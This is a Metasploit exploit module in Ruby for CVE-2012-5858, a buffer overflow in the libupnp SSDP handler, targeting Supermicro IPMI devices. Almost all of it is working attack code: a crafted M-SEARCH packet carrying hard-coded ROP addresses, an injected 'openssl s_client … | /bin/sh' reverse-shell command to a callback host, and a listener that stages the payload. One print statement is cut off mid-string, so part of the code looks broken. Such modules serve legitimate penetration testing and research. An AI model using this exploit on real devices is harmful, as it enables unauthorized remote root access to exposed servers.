require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
def initialize(info = {})
super(update_info(info,
'Name' => 'Portable UPnP SDK unique_service_name() Remote Code Execution',
'Description'=> %q{
This module exploits a buffer overflow in the unique_service_name()
function of libupnp's SSDP processor. The libupnp library is used across
thousands of devices and is referred to as the Intel SDK for UPnP
Devices or the Portable SDK for UPnP Devices.
Due to size limitations on many devices, this exploit uses a separate TCP
listener to stage the real payload.
},
'Author' => [
'hdm',# Exploit dev for Supermicro IPMI
'Alex Eubanks <endeavor[at]rainbowsandpwnies.com>', # Exploit dev for Supermicro IPMI
'Richard Harman <richard[at]richardharman.com>' # Binaries, system info, testing for Supermicro IPMI
],
'License'=> MSF_LICENSE,
'References' =>
[
[ 'CVE', '2012-5858' ],
[ 'US-CERT-VU', '922681' ],
[ 'URL', 'https://community.rapid7.com/community/infosec/blog/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play' ]
],
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'Privileged' => true,
'Payload'=>
{
#
# # The following BadChars do not apply since we stage the payload
# # through a secondary connection. This is just for reference.
#
# 'BadChars'=>
# # Bytes 0-8 are not allowed
# [*(0..8)].pack("C*") +
# # 0x09, 0x0a, 0x0d are allowed
# "\x0b\x0c\x0e\x0f" +
# # All remaining bytes up to space are restricted
# [*(0x10..0x1f)].pack("C*") +
# # Also not allowed
# "\x7f\x3a" +
# # Breaks our string quoting
# "\x22",
# Unlimited since we stage this over a secondary connection
'Space' => 8000,
'DisableNops' => true,
'Compat'=>
{
'PayloadType' => 'cmd',
# specific payloads vary widely by device (openssl for IPMI, etc)
}
},
'Targets'=>
[
[ "Automatic", { } ],
#
# ROP targets are difficult to represent in the hash, use callbacks instead
#
[ "Supermicro Onboard IPMI (X9SCL/X9SCM) Intel SDK 1.3.1", {
# The callback handles all target-specific settings
:callback => :target_supermicro_ipmi_131,
# This matches any line of the SSDP M-SEARCH response
:fingerprint =>
/Server:\s*Linux\/2\.6\.17\.WB_WPCM450\.1\.3 UPnP\/1\.0, Intel SDK for UPnP devices\/1\.3\.1/mi
#
# SSDP response:
# Linux/2.6.17.WB_WPCM450.1.3 UPnP/1.0, Intel SDK for UPnP devices/1.3.1
# http://192.168.xx.xx:49152/IPMIdevicedesc.xml
# uuid:Upnp-IPMI-1_0-1234567890001::upnp:rootdevice
# Approximately 35,000 of these found in the wild via critical.io scans (2013-02-03)
} ],
[ "Debug Target", {
# The callback handles all target-specific settings
:callback => :target_debug
} ]
],
'DefaultTarget'=> 0,
'DisclosureDate' => 'Jan 29 2013'))
register_options(
[
Opt::RHOST(),
Opt::RPORT(1900),
OptAddress.new('CBHOST', [ false, "The listener address used for staging the real payload" ]),
OptPort.new('CBPORT', [ false, "The listener port used for staging the real payload" ])
], self.class)
end
def exploit
configure_socket
target_info = choose_target
unless self.respond_to?(target_info[:callback])
print_error("Invalid target specified: no callback function defined")
return
end
buffer = self.send(target_info[:callback])
pkt =
"M-SEARCH * HTTP/1.1\r\n" +
"Host:239.255.255.250:1900\r\n" +
"ST:uuid:schemas:device:" + buffer + ":end\r\n" +
"Man:\"ssdp:discover\"\r\n" +
"MX:3\r\n\r\n"
print_status("Exploiting #{rhost} with target '
r = udp_sock.sendto(pkt, rhost, rport, 0)
1.upto(5) do
::IO.select(nil, nil, nil, 1)
break if session_created?
end
end
def target_supermicro_ipmi_131
buffer = Rex::Text.rand_text_alpha(2000)
buffer[0,1] = '"'
buffer[1999,1]= '"'
cbhost = datastore['CBHOST'] || datastore['LHOST'] || Rex::Socket.source_address(datastore['RHOST'])
start_listener(true)
cbport = self.service.getsockname[2]
cmd = "sleep 1;/bin/upnp_dev & echo; openssl s_client -quiet -host #{cbhost} -port #{cbport}|/bin/sh;exit;#"
buffer[432, cmd.length] = cmd
buffer[304,4] = [0x4009daf8].pack("V")
buffer[284,4] = [0xfffffe78].pack("V")
buffer[316,4] = [0x400db0ac].pack("V")
buffer[320,4] = [0x400a5568].pack("V")
buffer[141,4] = [0x400add8c].pack("V")
return buffer
=begin
00008000-00029000 r-xp 00000000 08:01 709233 /bin/upnp_dev
00031000-00032000 rwxp 00021000 08:01 709233 /bin/upnp_dev
00032000-00055000 rwxp 00000000 00:00 0[heap]
40000000-40015000 r-xp 00000000 08:01 709562 /lib/ld-2.3.5.so
40015000-40017000 rwxp 00000000 00:00 0
4001c000-4001d000 r-xp 00014000 08:01 709562 /lib/ld-2.3.5.so
4001d000-4001e000 rwxp 00015000 08:01 709562 /lib/ld-2.3.5.so
4001e000-4002d000 r-xp 00000000 08:01 709535 /lib/libpthread-0.10.so
4002d000-40034000 ---p 0000f000 08:01 709535 /lib/libpthread-0.10.so
40034000-40035000 r-xp 0000e000 08:01 709535 /lib/libpthread-0.10.so
40035000-40036000 rwxp 0000f000 08:01 709535 /lib/libpthread-0.10.so
40036000-40078000 rwxp 00000000 00:00 0
40078000-40180000 r-xp 00000000 08:01 709620 /lib/libc-2.3.5.so
40180000-40182000 r-xp 00108000 08:01 709620 /lib/libc-2.3.5.so
40182000-40185000 rwxp 0010a000 08:01 709620 /lib/libc-2.3.5.so
40185000-40187000 rwxp 00000000 00:00 0
bd600000-bd601000 ---p 00000000 00:00 0
bd601000-bd800000 rwxp 00000000 00:00 0
bd800000-bd801000 ---p 00000000 00:00 0
bd801000-bda00000 rwxp 00000000 00:00 0
bdc00000-bdc01000 ---p 00000000 00:00 0
bdc01000-bde00000 rwxp 00000000 00:00 0
be000000-be001000 ---p 00000000 00:00 0
be001000-be200000 rwxp 00000000 00:00 0
be941000-be956000 rwxp 00000000 00:00 0[stack]
=end
end
def target_debug
buffer = Rex::Text.pattern_create(2000)
end
def stage_real_payload(cli)
print_good("Sending payload of #{payload.encoded.length} bytes to #{cli.peerhost}:#{cli.peerport}...")
cli.put(payload.encoded + "\n")
end
def start_listener(ssl = false)
comm = datastore['ListenerComm']
if comm == "local"
comm = ::Rex::Socket::Comm::Local
else
comm = nil
end
self.service = Rex::Socket::TcpServer.create(
'LocalPort' => datastore['CBPORT'],
'SSL' => ssl,
'SSLCert' => datastore['SSLCert'],
'Comm'=> comm,
'Context' =>
{
'Msf'=> framework,
'MsfExploit' => self,
})
self.service.on_client_connect_proc = Proc.new { |client|
stage_real_payload(client)
}
self.service.start
end
def cleanup
super
if self.service
print_status("Shutting down payload stager listener...")
begin
self.service.deref if self.service.kind_of?(Rex::Service)
if self.service.kind_of?(Rex::Socket)
self.service.close
self.service.stop
end
self.service = nil
rescue ::Exception
end
end
end
def choose_target
return self.target unless self.target.name =~ /Automatic/
msearch =
"M-SEARCH * HTTP/1.1\r\n" +
"Host:239.255.255.250:1900\r\n" +
"ST:upnp:rootdevice\r\n" +
"Man:\"ssdp:discover\"\r\n" +
"MX:3\r\n\r\n"
udp_sock.sendto(msearch, rhost, rport, 0)
res = nil
1.upto(5) do
res,addr,info = udp_sock.recvfrom(65535, 1.0)
break if res and res =~ /^(Server|Location)/mi
udp_sock.sendto(msearch, rhost, rport, 0)
end
self.targets.each do |t|
return t if t[:fingerprint] and res =~ t[:fingerprint]
end
if res and res.to_s.length > 0
print_status("No target matches this fingerprint")
print_status("")
res.to_s.split("\n").each do |line|
print_status("#{line.strip}")
end
print_status("")
else
print_status("The system #{rhost} did not reply to our M-SEARCH probe")
end
fail_with(Exploit::Failure::NoTarget, "No compatible target detected")
end
attr_accessor :service
def configure_socket
self.udp_sock = Rex::Socket::Udp.create({
'Context' => { 'Msf' => framework, 'MsfExploit' => self }
})
add_socket(self.udp_sock)
end
def rhost
datastore['RHOST']
end
def rport
datastore['RPORT']
end
attr_accessor :udp_sock
end